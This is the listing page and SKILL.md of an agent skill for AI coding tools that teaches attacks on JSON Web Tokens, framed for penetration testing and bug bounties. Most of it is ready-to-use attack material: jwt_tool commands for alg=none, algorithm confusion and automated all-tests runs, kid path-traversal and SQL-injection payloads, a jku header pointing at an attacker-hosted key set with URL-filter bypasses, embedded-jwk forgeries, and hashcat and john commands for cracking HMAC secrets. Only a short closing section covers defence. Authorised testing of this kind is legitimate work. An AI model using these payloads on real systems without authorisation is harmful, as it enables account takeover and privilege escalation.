# JWT

> JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.

- Skill: `purpleailab/jwt` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/jwt`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/jwt/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/jwt

---


# JSON Web Token Attacks

JWTs are signed (`HS256`/`RS256`/`ES256`) or sometimes mis-configured to
accept `none`. The header carries the alg + optionally `kid`/`jku`/`x5u`
references. Each is a potential exploitation surface.

## 1. Anatomy
`header.payload.signature` — each base64url. Decode w/ `jwt_tool` or
`jwt-cracker`:
```bash
jwt_tool eyJhbGc...   # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
```

## 2. Attack surface

### 2.1 `alg=none` bypass
Set `{"alg":"none"}` in header, strip signature, send `header.payload.`:
```bash
jwt_tool $JWT -X a    # alg=none attack
```
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears
in legacy systems.

### 2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches `alg` to `HS256` and signs w/ the *public key* (which the server
will use as the HMAC secret):
```bash
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint

jwt_tool $JWT -X k -pk public.pem   # alg confusion attack
```

### 2.3 `kid` header injection
`kid` (key ID) sometimes resolves to a file path or DB key:
```json
{"alg":"HS256","kid":"../../../dev/null"}     // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}  // SQLi in kid lookup
```
`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.

### 2.4 `jku` / `x5u` URL injection
`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
```json
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
```
Then `https://attacker.com/jwks.json` returns attacker's public key,
signed JWT is "valid".

Bypass URL filters via:
- subdomain confusion (`https://target.com.attacker.com/jwks.json`)
- userinfo (`https://attacker.com@target.com/jwks.json`)
- redirect chains via target's open-redirect

### 2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
```bash
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
```
Hashcat mode 16500 = JWT. Service-account secrets often `dev`/`secret`/
`changeme`/company-name patterns.

### 2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
```
header.payload.    ← trailing dot, no sig
```

### 2.7 Embedded `jwk` header
`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:
```json
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
```
Old node-jsonwebtoken accepted this.

## 3. Detection in recon

JWT presence signals:
- `Authorization: Bearer eyJ...` headers
- `access_token=eyJ...` / `id_token=eyJ...` URL params or cookies
- `.well-known/jwks.json` endpoint exposed
- `.well-known/openid-configuration` discovery doc

## 4. PoC pattern (Burp + jwt_tool)
1. Capture authenticated request
2. `jwt_tool <JWT> -M at -t <target_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)
3. For positive results, replay manually via Burp Repeater to confirm
4. Document the modified JWT + decoded admin claims as PoC

## 5. Severity calibration

| Bug | Typical severity |
|---|---|
| `alg=none` accepted on user → admin claim swap | Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
| `jku` to attacker URL accepted | Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
| `kid` SQLi → DB enumeration | High 8.0 |
| Signature stripping accepted | Critical 9.8 |

## 6. Defender remediation

```javascript
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
    algorithms: ['RS256'],      // EXPLICIT — never accept "none" or HS256 here
    audience: 'api://my-service',
    issuer: 'https://auth.mycorp.com',
});

// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256'])  // explicit algorithm

// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
```

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/JSON Web Token/`
- jwt_tool: https://github.com/ticarpi/jwt_tool

## Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host

